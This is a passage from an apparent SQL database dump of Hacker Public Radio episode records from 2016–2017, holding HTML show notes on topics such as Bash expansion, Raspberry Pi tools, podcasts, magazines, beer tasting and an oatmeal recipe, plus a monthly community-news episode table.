href=\"https://hackerpublicradio.org/eps/hpr2039/debian_blather_install_script\">Installation Script for Debian</a></li>\r\n<li><a href=\"https://www.jezra.net/\" target=\"_blank\">Jezra\'s website</a></li>\r\n<li><a href=\"https://cmusphinx.sourceforge.net/\" target=\"_blank\">Sphinx Speech Recognition Library</a></li>\r\n<li>Sphinx <a href=\"https://www.speech.cs.cmu.edu/tools/lmtool-new.html\" target=\"_blank\">knowledge base tool</a></li>\r\n<li>Learn about the $2 Microphone that I use for blather: <a href=\"https://hackerpublicradio.org/eps.php?id=1812\">HPR Episode 1812</a></li>\r\n</ul>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n',238,79,0,'CC-BY-SA','blather, speech recognition, accessibility, scripting, GNU/Linux',0,0,1),
(2036,'2016-05-23','Glasgow Podcrawl 2016',1716,'Kevie and Dave invite you to the 2016 Glasgow Podcrawl','<h1 id=\"glasgow-podcrawl-2016\">Glasgow Podcrawl 2016</h1>\r\n<p>Kevie and Dave Morriss chat about the upcoming Glasgow Podcrawl. This year\'s event takes place on the 29<sup>th</sup> of July 2016 and kicks off at 6pm in the State Bar, Holland Street.</p>\r\n<p>The event is open to anybody with an interest in podcasting, open source software or creative commons music. Whether you\'re an enthusiast or just interested in finding out more, also if you\'re a member of a band, then we would love to have you along for a yarn over a few pints.</p>\r\n<p>Check out <a href=\"https://kmacphail.blogspot.co.uk/2016/04/glasgow-podcrawl-2016.html\" class=\"uri\">https://kmacphail.blogspot.co.uk/2016/04/glasgow-podcrawl-2016.html</a> for more details and a map of how to get to the bar.</p>\r\n<p>Music on this episode is &quot;<em>Beer</em>&quot; from <em>Darkman Sounds</em> <a href=\"https://www.jamendo.com/track/1182203/beer\" class=\"uri\">https://www.jamendo.com/track/1182203/beer</a></p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://kmacphail.blogspot.co.uk/2016/04/glasgow-podcrawl-2016.html\" class=\"uri\">https://kmacphail.blogspot.co.uk/2016/04/glasgow-podcrawl-2016.html</a></li>\r\n<li><a href=\"https://www.jamendo.com/track/1182203/beer\" class=\"uri\">https://www.jamendo.com/track/1182203/beer</a></li>\r\n</ul>',225,0,1,'CC-BY-SA','Glasgow,Podcrawl,open source, ccmusic, podcast, Linux',0,0,1),
(2037,'2016-05-24','Alpha32\'s Pinhead Oats',282,'I talk about how I cook steel cut oats, and ask you all to please share your favorite recipes','<p>It\'s oatmeal, I don\'t know how much we need in terms of notes.</p>\r\n<h3 id=\"recipe\">Recipe:</h3>\r\n<ul>\r\n<li>2 cups water</li>\r\n<li>1/8 teaspoon salt</li>\r\n<li>2/3 cup steel cut/pinhead oats</li>\r\n<li>1/8 teaspoon total allspice, nutmeg, cinnamon</li>\r\n<li>1/4 cup brown/demerara/whatever sort of sugar</li>\r\n<li>1/2 cup raisins</li>\r\n</ul>\r\n<ol type=\"1\">\r\n<li>boil water and salt</li>\r\n<li>heat on medium, add oats, spices, sugar</li>\r\n<li>stirring regularly, cook for 6 minutes, or until you get tired of stirring.</li>\r\n<li>remove from heat, add raisins.</li>\r\n<li>let sit for a few minutes to cool/finish absorbing water.</li>\r\n<li>enjoy!</li>\r\n</ol>\r\n',303,93,0,'CC-BY-SA','pinhead oats, cooking, recipe, oatmeal, porridge, steel-cut oats',0,0,1),
(2038,'2016-05-25','Attempting to fix a plastic boat',923,'Using fire and various bits of plastic, jezra attempts to repair a hole in a plastic boat.','<p>I\'m on a boat!</p>\n',243,0,1,'CC-BY-SA','boat',0,0,1),
(2040,'2016-05-27','Why I Use Linux',300,'A short description of why someone would stumble onto Linux and not want to leave.','<p>My first objective in making this show is to actually record a show, which is something I\'ve never done.</p>\r\n<p>My second objective was to say something interesting about why I use Linux, how I found it and why I think I keep using it.</p>\r\n<p>I found Linux by word of mouth. It was a bit of a hassle to use back then and I wouldn\'t have stuck with it if the system didn\'t meet my needs better than everything else that was available to me. Cost was very important at first, but as time has gone by, it\'s been the tools and the usability of the system that have made me stay with it.</p>\r\n<p>Despite their differences, Apple and Microsoft both try hard to be big, to have lots of users (buyers). They try to be everything to everyone. I think that happens with some Linux distributions too, but Linux is not one thing in the way that Windows is one thing. This means that at least some distributions can be less focused on keeping up with the latest, flashiest things. Linux just works for what I need it to do. I miss it when I\'m not using it.</p>\r\n<p>Most of the work I do besides household bookkeeping is programming for the web. The tools I use most often are: Vim, git, grep, Filezilla, the LAMP stack, Meteor, Firefox, Chromium. Many of these tools are afterthoughts in other systems, whereas they seem like native inhabitants in a Linux distribution.</p>\r\n',335,29,0,'CC-BY-SA','linux, Vim, git, grep, Filezilla, LAMP stack, Meteor, Firefox, Chromium',0,0,1),
(2041,'2016-05-30','Router Antennas More = better ?',454,'A ham operators view on router antennas','<p>\r\nReally complicated phasing of radio signals.\r\n</p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2041Router1.jpg\" alt=\"Diagram of a router with 4 antennas\"/></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2041router2.jpg\" alt=\"Alternative antenna\"/></p>\r\n<p><img src=\"https://hackerpublicradio.org/eps/hpr2041lyle.jpg\" alt=\"Lyle Lastinger\"/></p>\r\n',336,0,0,'CC-BY-SA','router,antenna,ham radio',0,0,1),
(2042,'2016-05-31','My podcast list',1027,'Just a listing of the podcasts I listen to','<ul>\r\n<li>[<a href=\"https://www.npr.org/podcasts/344098539/wait-wait-don-t-tell-me\">www</a>, <a href=\"https://www.npr.org/rss/podcast.php?id=344098539\">rss</a>] Wait Wait Don\'t Tell Me</li>\r\n<li>[<a href=\"https://thepipodcast.com/\">www</a>, <a href=\"https://feeds.feedburner.com/thepipodcast\">rss</a>] The Pi Podcast</li>\r\n<li>[<a href=\"https://www.npr.org/podcasts/510310/npr-politics-podcast\">www</a>, <a href=\"https://www.npr.org/rss/podcast.php?id=510310\">rss</a>] NPR Politics Podcast</li>\r\n<li>[<a href=\"https://www.dancarlin.com/common-sense-home-landing-page/\">www</a>, <a href=\"https://feeds.feedburner.com/dancarlin/commonsense?format=xml\">rss</a>] Common Sense with Dan Carlin</li>\r\n<li>[<a href=\"https://www.dancarlin.com/product-category/hardcore-history/\">www</a>, <a href=\"https://feeds.feedburner.com/dancarlin/history?format=xml\">rss</a>] dan Carlin\'s Hardcore History</li>\r\n<li>[<a href=\"https://linuxluddites.com/\">www</a>, <a href=\"https://feeds.feedburner.com/LinuxLudditesOgg\">rss</a>] Linux Luddites</li>\r\n<li>[<a href=\"https://hackerpublicradio.org/\">www</a>, <a href=\"https://hackerpublicradio.org/hpr_ogg_rss.php\">rss</a>] HPR</li>\r\n<li>[<a href=\"https://geekspeak.org/\">www</a>, <a href=\"https://geekspeak.org/episodes/rss.xml\">rss</a>] Geekspeak</li>\r\n<li>[<a href=\"https://www.cartalk.com/\">www</a>, rss] Car Talk</li>\r\n<li>[<a href=\"https://aopa.org/news-and-media/aopa-live\">www</a>, rss] AOPA Live</li>\r\n<li>[<a href=\"https://www.tllts.org/\">www</a>, <a href=\"https://feeds.feedburner.com/TheLinuxLinkTechShowOgg-vorbisFeed\">rss</a>] The Linux Link Tech Show</li>\r\n<li>[<a href=\"https://blog.frankdelaney.com/re-joyce/\">www</a>, <a href=\"https://feeds.feedburner.com/libsyn/sQtR\">rss</a>] Frank Delaney\'s Re:Joyce</li>\r\n</ul>\r\n',116,75,0,'CC-BY-SA','podcast,recommendation',0,0,1),
(2045,'2016-06-03','Some other Bash tips',3353,'Yet more information about types of expansion in Bash','<h1 id=\"some-other-bash-tips\">Some other Bash tips</h1>\r\n<h2 id=\"expansion\">Expansion</h2>\r\n<p>As we saw in the last episode <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" title=\"Some additional Bash tips\">1951</a> (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:</p>\r\n<ul>\r\n<li>Brace expansion (we looked at this subject in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" title=\"Some more Bash tips\">1884</a>)</li>\r\n<li>Tilde expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Parameter and variable expansion (this was covered in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a>)</li>\r\n<li>Command substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Arithmetic expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" title=\"Some additional Bash tips\">1951</a>)</li>\r\n<li>Process substitution</li>\r\n<li>Word splitting</li>\r\n<li>Pathname expansion</li>\r\n</ul>\r\n<p>We will look at process substitution and word splitting in this episode but since there is a lot to cover in these subjects, we\'ll save pathname expansion for the next episode.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr2045/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2045/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>HPR episode 1648 &quot;<em>Bash parameter manipulation</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1648</a></li>\r\n<li>HPR episode 1843 &quot;<em>Some Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1843\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1843</a></li>\r\n<li>HPR episode 1884 &quot;<em>Some more Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1884</a></li>\r\n<li>HPR episode 1903 &quot;<em>Some further Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1903</a></li>\r\n<li>HPR episode 1951 &quot;<em>Some additional Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1951</a><br />\r\n<br />\r\n</li>\r\n<li>&quot;<em>Introduction to sed</em>&quot; series on HPR:\r\n<ul>\r\n<li><em>Part 1</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1976\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1976</a></li>\r\n<li><em>Part 2</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1986\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1986</a></li>\r\n<li><em>Part 3</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1997\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1997</a></li>\r\n<li><em>Part 4</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=2011\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2011</a><br />\r\n<br />\r\n</li>\r\n</ul></li>\r\n<li>Wikipedia article on the &quot;<em>Named pipe</em>&quot;: <a href=\"https://en.wikipedia.org/wiki/Named_pipe\" class=\"uri\">https://en.wikipedia.org/wiki/Named_pipe</a></li>\r\n<li>Wikipedia article on the &quot;<em>IFS</em>&quot; variable: <a href=\"https://en.wikipedia.org/wiki/Internal_field_separator\" class=\"uri\">https://en.wikipedia.org/wiki/Internal_field_separator</a></li>\r\n<li><em>Advanced Bash-Scripting Guide</em>: Section 9.1 <em>Bash Internal Variables</em> (including <code>IFS</code>): <a href=\"https://www.tldp.org/LDP/abs/html/internalvariables.html\" class=\"uri\">https://www.tldp.org/LDP/abs/html/internalvariables.html</a></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,expansion,process substitution, word splitting',0,0,1),
(2049,'2016-06-09','My Raspberry Pi Home Server',1524,'Knightwise talks about how he uses his Raspberry Pi to get things done.','<p>Knightwise talks about how he uses his <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> to get things done, and keep his connection to the Internet secure and private when he\'s away from home. He also discusses a number of command line tools that he uses on the Pi which help to keep the workflow simple and clutter-free.</p>\r\n<ul>\r\n<li><a href=\"https://byobu.org/\">BYOBU</a></li>\r\n<li><a href=\"https://irssi.org/\">IRSSI</a></li>\r\n<li><a href=\"https://centerim.org/index.php/Main_Page\">CenterIM</a></li>\r\n<li><a href=\"https://github.com/michael-lazar/rtv\">RTV</a></li>\r\n<li><a href=\"https://newsbeuter.org/\">NewsBeuter</a></li>\r\n<li><a href=\"https://cowlark.com/wordgrinder/\">WordGrinder</a></li>\r\n<li><a href=\"https://github.com/mps-youtube/mps-youtube\">mpsYT</a></li>\r\n<li><a href=\"https://ranger.nongnu.org/\">Ranger</a></li>\r\n<li><a href=\"https://nmon.sourceforge.net/pmwiki.php\">nmon</a></li>\r\n<li><a href=\"https://www.transmissionbt.com/\">Transmission CLI</a></li>\r\n<li><a href=\"https://www.torproject.org/\">Tor</a></li>\r\n</ul>',111,0,0,'CC-BY-SA','raspberry pi, foss, productivity, vpn, command line, cli',0,0,1),
(2047,'2016-06-07','Neo Fetch 1.5',173,'Neofetch is a console command displaying system information','<p>I was reading Linux Voice I heard Dave Morriss talking about shows and made a sort one about Neofetch 1.5. Its a command that displays system information.</p>\r\n',129,0,0,'CC-BY-SA','Linux Voice, Linux command, Neofetch 1.5',0,0,1),
(2055,'2016-06-17','GNU Nano Editor',422,'Why GNU Nano is a real Text Editor and Simple Word Processor','<p>I recently heard an HPR Podcast where it was mentioned that Nano was not a real text editor. That somehow VI or Emacs or Kate or Gedit were in some way better than Nano. I just wanted to set the record straight that Nano is a serious editor that has a huge following and a facebook page.</p>\r\n<ul>\r\n<li><a href=\"https://www.facebook.com/pages/the-GNU-nano-text-editor/51469466761\" class=\"uri\">https://www.facebook.com/pages/the-GNU-nano-text-editor/51469466761</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GNU_nano\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_nano</a></li>\r\n<li><a href=\"https://savannah.gnu.org/news/?group=nano\" class=\"uri\">https://savannah.gnu.org/news/?group=nano</a></li>\r\n</ul>\r\n',129,0,1,'CC-BY-SA','editor,GNU Nano,Vi,Vim,Emacs,Kate,Gedit',0,0,1),
(2043,'2016-06-01','My First Beer Podcast',264,'Discussing beer tasting','<p>Hey. It\'s MeToo here again. On this episode, were diverging from my last podcast of coffee and switching topics to, wait for it. Wait for it. BEER.</p>\r\n<p>Now, you might think to yourself, \"What the heck! Beer?\" I know. I know. It\'s so plebeian, right?</p>\r\n<p>Well. I too, use to think like that. What with the shades of Budweiser, Michelob, Iron Horse, Iroquois, Genesee, etc... All squaw piss. Right?</p>\r\n<p>I was raised on wines &amp; cocktails. But, over recent years, especially after listening to many of you guys\' podcast on beer-making and drinking, I became interested in wanting to try some of these artisan beers you all have spoken of. But, being overseas in a foreign country, my chances of such are like a snowball\'s chance in hell. Or so I thought.</p>\r\n<p>Then came one night when I was on my way to teach a class at one of the local universities, and passed by a newly opened bar with the humorous name of \"Nobody Knows Bar.\" Where, when I glanced in the window and to my amazement, were many of the very beers you all had been talking so much about. Wow! Here was my chance to partake. So, I went to class and afterwards stopped in to the bar.</p>\r\n<p>So, I tried a beer. It just happened to be an IPA. Now, don\'t get me wrong. Many, many years ago I had tried an IPA and found it far from my liking. So, my first choice wouldn\'t have been an IPA normally. Again you ask, \"Why did you choose an IPA this time?\" Well, the reason was bartender recommended it.</p>\r\n<p>And again to my amazement (to coin a phrase), it was great. I guess the reason for enjoying it over before is that, as like everyone, my taste buds had changed. And truthfully speaking, I\'ve come to like IPAs over many others.</p>\r\n<p>So, to no longer digress. Let me tell you what I chose and my opinions on the beer.</p>\r\n<p>The beer? A 12oz. 8.2% Alc. by vol., glass bottled Lagunitas Brewery\'s Lagunitas Unlimited Release Maximus IPA Maximus Ale. I love the labeling. It reads: \"Life is uncertain. Don\'t dip.\" Also, \"If some is good, more is better.\" And one final one, \"Instant gratification isn\'t fast enough.\" What a lark!</p>\r\n<p>Enough diddle dallying. On to the tasting: The nose on this beer is crisp and light. The first mouthing brings a floral, fruity semi-sweet taste. The fruitiness continues into the aftertaste with an added semi-dryness. And yet, despite the alcohol content, doesn\'t ring your clock. The longer after flavor is strongest on the underside of the back of the tongue. Very pleasant.</p>\r\n<p>So. There you have it. My first beer tasting. I hope you found it telling. And maybe you too will try a bottle. I highly recommend it. I will continue these tasting over the course of time. Now don\'t get me wrong. I\'m no sot. And I still like my coffees, but I have now found a new \"like\" and it\'s artisan beers.</p>\r\n<p><a href=\"https://hackerpublicradio.org/eps/hpr2043/Maximus_Ale-sm.jpg\">\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2043/Maximus_Ale-sm_small.jpg\" alt=\"hand holding beer bottle\" /></a></p>\r\n\r\n<p>Until next time. This is MeToo signing out and wishing you happy trails and happy beers.</p>\r\n',313,0,1,'CC-BY-SA','Beer Tasting',0,0,1),
(2050,'2016-06-10','Developing Black &amp; White Film',964,'Black and white film is actually pretty easy to develop.  Follow along as I do so.','<ul>\r\n<li>Intro to the film and the chemicals used</li>\r\n<li>Mixing chemicals with water</li>\r\n<li>Load developing tank with film</li>\r\n<li>Live recording of the developing process itself.</li>\r\n</ul>\r\n',337,0,0,'CC-BY-SA','Photography',0,0,1),
(2051,'2016-06-13','My Linux Journey',709,'This is a short show where I talk about how I started to use Linux','<ul>\r\n<li><p>0.00 Introduction</p></li>\r\n<li><p>0.40 Computer History</p></li>\r\n<li><p>6.25 Linux and Freecycle</p></li>\r\n<li><p>8.50 Current PC and Distro</p></li>\r\n<li><p>9.10 Helping/converting others</p></li>\r\n</ul>\r\n',338,29,0,'CC-BY-SA','Windows 3.1,Windows 95,Windows 98,Xubuntu,Windows XP,Freespire,Ubuntu,LibreOffice,Linux Mint',0,0,1),
(2065,'2016-07-01','Whats in My Bag',271,'This is a short episode about what I carry in My Geek bag at various times','<ul>\r\n<li><p>0.00 Intro</p></li>\r\n<li><p>0.38 Lenovo x201</p></li>\r\n<li><p>1.10 Lenovo x200 Tablet</p></li>\r\n<li><p>1.30 Lenovo x61s</p></li>\r\n<li><p>2.25 Raspberry Pi stuff</p></li>\r\n<li><p>3.55 Portable HDD</p></li>\r\n<li><p>4.24 sign off</p></li>\r\n</ul>\r\n',338,23,0,'CC-BY-SA','toolkit,laptop,tablet,netbook,Lenovo,Raspberry Pi,microSD,external HD',0,0,1),
(2052,'2016-06-14','A Nerdy Conversation With Linden About Technology',2429,'In this episode of HPR sigflup interviews Linden who specializes in databases.','<p>In this episode of HPR sigflup interviews Linden who specializes in databases. The subject of this interview varies wildly. All the way from databases to python and arch linux</p>\r\n<p>\r\nYou can contact Linden on twitter at <a href=\"https://twitter.com/tesherista\">@tesherista</a>\r\n</p>',115,0,0,'CC-BY-SA','MySQL, SQLite, R, C, Python, Logo, Arch ',0,0,1),
(2076,'2016-07-18','What Magazines I read Part 1',300,'This is a short episode about the Magazines I read that may be of interest to other listeners','<!-- Processed by make_markdown V0.0.4 -->\r\n<h2 id=\"magazines-i-read\">Magazines I Read</h2>\r\n<p>Hi This is Tony Hughes for Hacker Public Radio, I\'m trying to do a show once a month or so and I was thinking of ideas that might be of interest to the listeners out there.</p>\r\n<p>While there are regular shows on \'What\'s on my pod-catcher\' I\'ve never heard one about what magazines that people in the HPR community like to read. With the advent of digital media and subscription services such as Issuu, Magzter, Google Play Newsstand and I\'m sure many others which offer both Free and subscription content I\'m sure many of you like me have quite a number of magazines you regularly read, and some you dip in to from time to time. So this show is about the Magazines I like to read.</p>\r\n<p>First I\'d like to say that to facilitate regularly reading of digital media I feel for me a 10&quot; tablet is the smallest format for comfortable reading (although for those of you with young enough eyesight to be able to read small fonts with no difficulty you may feel different). However my Tablet of choice is the 12&quot; Samsung SM-P900 which I purchased in February 2015. My only gripe with this tablet is I\'ll probably never get Android 6 on it as it\'s now over 2 years since original release. While I agree with Apple that the 4:3 screen configuration for reading on a tablet is more user friendly I can not bring myself to spend that kind of money or be tied to the Apple ecosystem.</p>\r\n<p>So what Magazines do I actually read?</p>\r\n<ul>\r\n<li><p>Linux Voice (<a href=\"https://www.linuxvoice.com\" class=\"uri\">https://www.linuxvoice.com</a>) This is a Linux magazine that was set up a couple of years ago by some of the former editorial team from Linux Format after a successful Kick Starter Campaign. Good content for and about Linux and the Linux community and they support the community by distributing 50% of their annual profits back to the Open Source Community after a ballot of readers. They also release issues of the magazine with a creative commons licence 9 months after publication. This is the only magazine I currently have a Paper subscription to (it also comes with a free DRM free PDF copy for subscribers)</p></li>\r\n<li><p>Linux Format (<a href=\"https://www.linuxformat.com\" class=\"uri\">https://www.linuxformat.com</a>) Similar in content to Linux Voice but without quite the same community philosophy, but still a very good publication.</p></li>\r\n<li><p>MicroMart (<a href=\"https://subscribe.micromart.co.uk\" class=\"uri\">https://subscribe.micromart.co.uk</a>) This is a more general computer magazine that started in 1985, as a place you could buy and sell computers and components but is now more of a regular weekly magazine format with news, reviews and articles about all things computer and technology related. As I said in my Journey to Linux show this was the Magazine that introduced me to Linux in the late 90\'s early 00\'s. They still have a weekly Linux page and regular Raspberry Pi and other Linux related content.</p></li>\r\n<li><p>MagpPi (<a href=\"https://www.raspberrypi.org/magpi\" class=\"uri\">https://www.raspberrypi.org/magpi</a>) This is the official Monthly magazine of the Raspberry Pi Community and as you will have worked out is focused on all things Raspberry Pi. Lots of Good content including: News, tutorials, and reviews of new peripherals for the Pi, and since being brought in house by the foundation it has a very professional look and feel about it. All the content is provided by members of the Raspberry Pi Community both from inside, and outside the Foundation. You can get a free Creative commons PDF from the website or to support the foundation you can subscribe to both Print and digital copies if you wish to.</p></li>\r\n<li><p>Full Circle Magazine (<a href=\"https://fullcirclemagazine.org/\" class=\"uri\">https://fullcirclemagazine.org/</a>) This is a completely community driven magazine for all things related to Ubuntu Linux and its derivatives. They carry news of what is happening in the World of Ubuntu and articles and tutorials of how to use Linux software for both the beginner and more experienced users. This is a Creative Commons and can be downloaded free from the website in both PDF and e-book formats.</p></li>\r\n<li><p>PCLinuxOS Magazine (<a href=\"https://pclosmag.com/index.html\" class=\"uri\">https://pclosmag.com/index.html</a>) This is another community driven magazine from The PCLinuxOS community and is similar to Full Circle in its content, with the aim of helping users of this distro to get the most out of it they can. Also available as a free Creative Commons PDF download from their website.</p></li>\r\n</ul>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.linuxvoice.com\" class=\"uri\">https://www.linuxvoice.com</a></li>\r\n<li><a href=\"https://www.linuxformat.com\" class=\"uri\">https://www.linuxformat.com</a></li>\r\n<li><a href=\"https://subscribe.micromart.co.uk\" class=\"uri\">https://subscribe.micromart.co.uk</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/magpi\" class=\"uri\">https://www.raspberrypi.org/magpi</a></li>\r\n<li><a href=\"https://fullcirclemagazine.org/\" class=\"uri\">https://fullcirclemagazine.org/</a></li>\r\n<li><a href=\"https://pclosmag.com/index.html\" class=\"uri\">https://pclosmag.com/index.html</a></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Magazine, Linux, Computing',0,0,1),
(2281,'2017-05-01','HPR Community News for April 2017',5549,'HPR Volunteers talk about shows released and comments posted in April 2017','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=352\" target=\"_blank\">fth</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=353\" target=\"_blank\">venam</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2261\" target=\"_blank\">2261</a></strong></td>\n    <td>Mon</td>\n    <td>2017-04-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2261\" target=\"_blank\">HPR Community News for March 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2262\" target=\"_blank\">2262</a></strong></td>\n    <td>Tue</td>\n    <td>2017-04-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2262\" target=\"_blank\">Abstracting Nurse Jesus</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2263\" target=\"_blank\">2263</a></strong></td>\n    <td>Wed</td>\n    <td>2017-04-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2263\" target=\"_blank\">Freak Does Geek</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=352\" target=\"_blank\">fth</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2264\" target=\"_blank\">2264</a></strong></td>\n    <td>Thu</td>\n    <td>2017-04-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2264\" target=\"_blank\">At The Library</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill &quot;NFMZ1&quot; Miller</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2265\" target=\"_blank\">2265</a></strong></td>\n    <td>Fri</td>\n    <td>2017-04-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2265\" target=\"_blank\">WattOS on Lenovo X61s</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2266\" target=\"_blank\">2266</a></strong></td>\n    <td>Mon</td>\n    <td>2017-04-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2266\" target=\"_blank\">Gamebooks: Lone Wolf</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2267\" target=\"_blank\">2267</a></strong></td>\n    <td>Tue</td>\n    <td>2017-04-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2267\" target=\"_blank\">Our Digital Art</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2268\" target=\"_blank\">2268</a></strong></td>\n    <td>Wed</td>\n    <td>2017-04-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2268\" target=\"_blank\">Fish On!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill &quot;NFMZ1&quot; Miller</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2269\" target=\"_blank\">2269</a></strong></td>\n    <td>Thu</td>\n    <td>2017-04-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2269\" target=\"_blank\">Chocolate Milk</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=353\" target=\"_blank\">venam</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2270\" target=\"_blank\">2270</a></strong></td>\n    <td>Fri</td>\n    <td>2017-04-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2270\" target=\"_blank\">Managing tags on HPR episodes - 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2271\" target=\"_blank\">2271</a></strong></td>\n    <td>Mon</td>\n    <td>2017-04-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2271\" target=\"_blank\">Raspberry Pi Zero W</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2272\" target=\"_blank\">2272</a></strong></td>\n    <td>Tue</td>\n    <td>2017-04-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2272\" target=\"_blank\">In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=319\" target=\"_blank\">OnlyHalfTheTime</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2273\" target=\"_blank\">2273</a></strong></td>\n    <td>Wed</td>\n    <td>2017-04-19</td>\n    <td><a 